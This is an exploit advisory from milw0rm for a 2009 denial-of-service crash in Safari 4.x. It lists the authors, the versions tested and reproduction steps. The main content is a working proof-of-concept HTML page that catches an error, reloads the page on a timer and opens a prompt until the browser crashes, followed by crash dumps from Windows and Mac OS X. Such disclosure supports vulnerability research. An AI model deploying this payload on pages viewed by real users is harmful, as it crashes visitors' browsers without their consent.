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Apple Safari 4.x JavaScript Reload Denial of Service
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Author : Marcell 'SkyOut' Dietl, Achim Hoffmann
Email : mail [at] marcell-dietl [dot] de
Vendor : http://www.apple.com/
Product : http://www.apple.com/safari/
Found : 12.06.2009
Released : 01.07.2009
Tested on:
- Safari 4.0 at Windows XP SP3
- Safari 4.0.1 at Mac OS X 10.5.7
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STEPS TO REPRODUCE
1) Create a HTML file with the following content:
+----------
| <html>
| <body>
| <script src="empty.js"></script>
| <script>
| try { crashSafari(); } catch(e) {
| setTimeout("location.reload();",42);
| prompt('apple culpa? comment:'); }
| </script>
| </body>
| </html>
+----------
2) Create an empty file called "empty.js" in the same directory.
3) Put both files into the WWW directory of your server.
4) Access the HTML file with your browser.
- A popup will appear: Close it.
- A popup will appear: Close it.
- Crash.
5) On Windows:
+----------
| AppName: safari.exe AppVer: 4.530.17.0 ModName: webkit.dll
| ModVer: 4.530.17.0 Offset: 00305f55
+----------
5) On Mac OS X:
+----------
| Process: Safari [298]
| Path: /Applications/Safari.app/Contents/MacOS/Safari
| Identifier: com.apple.Safari
| Version: 4.0.1 (5530.18)
| Build Info: WebBrowser-55301800~1
| Code Type: X86 (Native)
| Parent Process: launchd [163]
|
| Date/Time: 2009-07-01 00:58:48.144 +0200
| OS Version: Mac OS X 10.5.7 (9J61)
| Report Version: 6
|
| Exception Type: EXC_BAD_ACCESS (SIGBUS)
| Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000002
|
| Thread 0 crashed with X86 Thread State (32-bit):
| eax: 0x00000002 ebx: 0x900bac11 ecx: 0x00625eec edx: 0x00000000
| edi: 0x00625ec8 esi: 0x00000002 ebp: 0xbfffe778 esp: 0xbfffe5e0
| ss: 0x0000001f efl: 0x00010217 eip: 0x900bac74 cs: 0x00000017
| ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037
| cr2: 0x00000002
+----------
___________________________________________________________________________________
Advisory : http://marcell-dietl.de/index/adv_safari_4_x_js_reload_dos.php
Live Demo : http://marcell-dietl.de/index/demo_safari_4_x_js_reload_dos.html
Apple has been informed about the bug, but did not show any interest.
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# milw0rm.com [2009-07-02]
